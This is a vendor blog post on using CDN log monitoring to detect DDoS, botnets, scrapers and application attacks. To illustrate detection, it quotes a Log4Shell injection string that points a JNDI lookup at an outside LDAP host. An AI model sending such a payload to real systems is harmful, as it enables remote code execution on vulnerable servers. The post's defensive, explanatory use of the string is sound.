Why Your Security Posture Needs In-Depth CDN Log Monitoring

Nesh (Steven Puddephatt) Senior Solutions Engineer @ GlobalDots
5 Min read

CDNs have become a standard component of any serious scaling strategy. With scaling, of course, comes an increased security challenge. This leads to code scanning, log analysis, expensive intrusion detection systems and more, but the data locked away inside of a CDN is often ignored. 

This data is essential to a strong security posture and can be the difference between an attack you’ve caught early and one that impacts customers and revenue. Let’s look at why you need to understand your CDN logs, to have a strong security posture. 

Reduce your AWS costs by over 50%

Discover your Cloud Saving Potential – Answer just 5 simple questions. AppsFlyer, Playtika, Lufthansa, IBM, top leading companies are already using our FinOps services.

Reduce your AWS costs 
by over 50%

The risk of DDoS attacks

DDOS attacks are the most common and simple method by which your system can be brought down. They can be launched for as little as $10 an hour. Compare this with the potential cost for a small business of $120k and upwards of $2 million for large companies. 

Lots of automated bots, firing useless data at your website, all at the same time. This type of attack is only becoming more common, which means that even sites that aren’t expecting huge volumes of traffic are utilising a CDN to build a defence against DDoS attacks, however, this is where organisations usually stop, and this is a mistake.

You need a proactive approach

DDoS attacks can’t be passively defended, and the only way you can proactively filter out traffic is with a powerful observability solution, plugged straight into your CDN data. Your CDN logs contain all of the information you need to differentiate between malicious traffic and legitimate use of your site. For example, the user agent, the load profile, the target endpoint, the request type and more. Given the huge volume of logs that a CDN can generate, you need an observability partner that can process huge volumes of traffic very quickly and in a cost effective way, and this simply isn’t something that a CDN solution will provide out of the box.

And remember Convergence

One main concept to keep in mind is the one of convergence, which has been highlighted by Gartner last year. Even though CDNs may have become commoditized, they play a key and crucial role in ensuring business continuity and are fundamental to any e-commerce online presence and revenue. CDNs are then the convergence place for both performance and security and the ground truth in what security events concern.

Targeted attacks against common vulnerabilities

DDoS attacks aren’t the only thing to worry about. OWASP lists the top ten application security risks, outside of the ever present risk of a DDoS. Many users will attempt to mount more sophisticated attacks against your system. Without robust monitoring, your CDN will likely allow these attacks to happen without any further scrutiny. However, if you have a fundamental understanding of the data that your CDN is producing, you can detect known attacks well ahead of time.

A worked example

The recent Log4Shell attack involved sending malicious exploits over common HTTP channels, like headers and payload bodies. A user may send some data that looks a little bit like this:

<code>

${jndi:ldap://128.9.6.5}

</code>

This value is typically sent in commonly logged HTTP headers like User-Agent

Detecting this by hand is almost impossible, and you won’t know that it has been sent to your system until you’ve been exposed. However, if you’re rapidly ingesting and analysing your CDN logs, you can quickly understand that this type of attack is happening and respond to it, without endangering your system in the first place.

CDN providers don’t give any sophisticated alerting mechanisms, which you desperately need to respond quickly to these incidents, so this puts the responsibility onto the customer to make sure that as they’re scaling their use of a CDN, so too are they increasing their observability skills to capture these types of attacks.

Botnets and organised attacks

Botnets are often associated with DDoS attacks, but they can be used on their own too. For example, botnets are typically used to hide the source of an attack, so each node in the botnet can be the next place from which a hacker can mount an attempt to exploit a known vulnerability in your system.

Your CDN logs are the perfect place to detect this type of attack. Not only do almost all CDNs log the source IP address, but they also log details about the data that’s being sent, for example the request and response size, the request method and the target endpoint. These pieces of information contain everything a sophisticated observability platform needs to detect the malicious IP addresses and block them before they can do any damage.

And it’s not always hackers!

Companies are well known to scrape the sites of their competition, in order to build up their own reserves of data that they can use to gain an edge. This type of traffic is difficult to detect, but CDN solutions give you a great place to install proactive defences against these types of scrapers.

One example is to utilise an anti-bot solution, which you can drive with your CDN observability data. Anti-bot solutions can be configured to serve up out of date or misleading information to traffic that is deemed malicious or abnormal. This is a powerful automated mechanism, driven by your CDN observability data, to deter competitors from mining your site for information.

So how do you capture all of this data?

There are a lot of things to consider when deciding on the best strategy to ingest your CDN logs for security analysis, but almost all of it comes down to a simple, classic decision: build or buy?

When you build your own solution for ingesting, analysing, visualizing and acting on your CDN logs, you create the most flexible and tailored possible solution for your organization. This enables you to build the exact features that your company needs. This might be the best route for you, but in the vast majority of companies, there are a series of cross cutting concerns that are the same. If you’re reinventing solutions to these concerns, you’re reinventing the wheel and investing engineering time where it might not be needed.

Alternatively, you can make use of a wide array of existing tooling that can be either deployed onto your infrastructure or consumed as a SaaS service. If you’re simply looking to get straight to the value, then a SaaS observability partner is the clever way to go. They offer a zero-maintenance approach to observability, without the need to hire expensive DevOps professionals to keep your system going.

Conclusion

There are a wide array of threats facing your company. A CDN offers a great deal of protection out of the box, but when you begin to understand the data that is locked away inside of your CDN, you gain access to powerful metrics that can inform your security teams and keep you one step ahead of that next zero-day vulnerability.

Contact GlobalDots for commitment-free consulting & implementation of your ultimate CDN observability solution.

Latest Articles

A Breakthrough in Observability: Cost-Effective Tracing

In an era where more observability vendors are offering tracing ingestion and visualization as part of their services, GlobalDots stands out by providing a set of data optimization features that significantly reduce costs, maximize insights, and create a scalable tracing strategy​. The Need for Cost-Effective Tracing Reduce your AWS costs by over 50% Discover your […]

Miguel Fersen Iberia & LATAM Regional Manager @ GlobalDots
25th May, 2023
Streamline Your Alert Management with Groupings

Alerting is crucial for avoiding outages, not just responding to them. That’s why GlobalDots recently added to its portfolio an innovation that revolutionizes the way alerts are processed, enabling teams to achieve their goals proactively and resolve issues quickly. Handling alerts on a large scale can be difficult, especially when dealing with hundreds or even […]

GlobalDots
2nd February, 2023
It’s time to unleash the power of the force!

There’s a galactic misconception that monitoring CDNs has no value and is too expensive to store and index. While that used to be true, it’s now the worst mistake an IT-jedi can make!  GlobalDots, a 20-year CDN expert, teamed with observability innovator Coralogix, to develop a next generation observability platform for monitoring Content Delivery Networks’ […]

GlobalDots
12th December, 2022
Real-time CDN analysis that identifies trends & detects anomalies

Finally, you can utilize your CDN to its full potential, using the most innovative solutions in the market. Real-time log analysis was never really possible, particularly for online businesses that deal with large amounts of traffic. With today’s technology, you can process logs instantly, view dashboards, and receive alerts before bad things happen. Reduce your AWS […]

Thorsten Deutrich VP Sales & DACH Regional Manager at GlobalDots
14th November, 2022

Unlock Your Cloud Potential

Schedule a call with our experts. Discover new technology and get recommendations to improve your performance.

Unlock Your Cloud Potential